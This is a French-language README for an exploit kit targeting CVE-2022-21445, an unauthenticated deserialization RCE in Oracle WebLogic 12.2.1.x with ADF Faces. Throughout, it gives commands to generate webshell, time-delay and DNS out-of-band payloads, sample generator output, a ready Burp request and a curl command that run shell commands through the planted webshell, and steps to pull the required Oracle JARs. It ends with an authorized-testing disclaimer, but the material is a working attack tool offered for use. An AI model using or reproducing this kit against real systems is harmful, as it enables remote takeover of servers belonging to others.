
Exploit pour CVE-2022-21445 d'Oracle Weblogic 12.2.1.X
Ce kit génère des charges exploitables (payloads) pour CVE-2022-21445, une vulnérabilité critique de désérialisation Java affectant Oracle WebLogic Server 12.2.1.x exécutant Oracle ADF Faces.
La faille existe dans le composant RemoteApplicationResourceLoader et permet à un attaquant d'envoyer une requête HTTP GET spécialement conçue qui déclenche une désérialisation non sécurisée. Une exploitation réussie peut conduire à une exécution de code à distance non authentifiée (RCE) sur le serveur cible.
| Prérequis | Version | Objectif |
|---|---|---|
| Python | 3.6+ | Exécuter le script d'exploit |
| JDK | 1.8 (8u202 recommandé) | Compiler et exécuter le générateur de payload Java |
| Weblogic | 12.2.1.X | Versions vulnérables |
Le payload doit être compilé avec JDK 1.8 pour correspondre au runtime Java de la cible.
# Use SDKMAN:
sdk install java 8.0.402-tem
# Select the java 8
sudo update-alternatives --config java
java -version # Should show 1.8.x
javac -version # Should show 1.8.x
Crée un payload qui lit les commandes à partir de l'en-tête HTTP cmd et retourne la sortie dans le corps de la réponse.
python3 exploit.py --version 12.2.1.4 --type webshell
Output:
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...
======================================================================
PAYLOAD GENERATED SUCCESSFULLY
======================================================================
[*] Payload type: webshell
[*] Payload length: 2156 characters
──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...
──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close
──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"
Pour les tests aveugles — confirme l'exécution de code si la réponse est retardée.
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10
Envoyez le payload et mesurez le temps de réponse :
Pour une confirmation hors bande à l'aide de Burp Collaborator ou similaire.
python3 exploit.py --version 12.2.1.4 --type dns \
--dns-host cve-21445.abc123.oastify.com
Utilisez --target pour obtenir une sortie formatée avec l'hôte et le chemin de contexte corrects :
python3 exploit.py --version 12.2.1.4 --type webshell \
--target http://10.0.0.50:8002/test
Cela formate la requête Burp et la commande curl avec l'hôte et le chemin appropriés :
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami
python3 exploit.py --version 12.2.1.4 --type webshell \
--output payload.txt
cmd pour exécuter différentes commandes
En cas de fichiers JAR corrompus, veuillez suivre les instructions pour installer la version Weblogic souhaitée et extraire les JAR pertinents.
Cette opération extrait les JAR Oracle requis de l'image Docker officielle FMW Infrastructure.
# Create the libs directory
mkdir -p libs/12.2.1.3
#or
mkdir -p libs/12.2.1.3
# Pull the Oracle FMW Infrastructure 12.2.1.3 or 12.2.1.4 image
# Note: You may need to accept the license at container-registry.oracle.com
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#OR
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
#Let's say we need the JARs of 12.2.1.4 version (in case of 12.2.1.3 just replace .4 with .3 in the commands)
# Create a temporary container (don't need to start it)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
# Extract the required JARs
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar
Remarque : Le JAR
javax.mail(nécessaire pour l'encodage MIME base64) est téléchargé automatiquement depuis Maven Central lors de la première exécution. Aucune configuration manuelle requise. Le payload webshell utilise la réflexion pure et n'a pas besoin deweblogic.jarau moment de la compilation.
Cet outil est destiné uniquement aux tests de sécurité autorisés. Obtenez toujours une autorisation écrite avant de tester des systèmes qui ne vous appartiennent pas. Les auteurs ne sont pas responsables d'une mauvaise utilisation. L'accès non autorisé à des systèmes informatiques est illégal.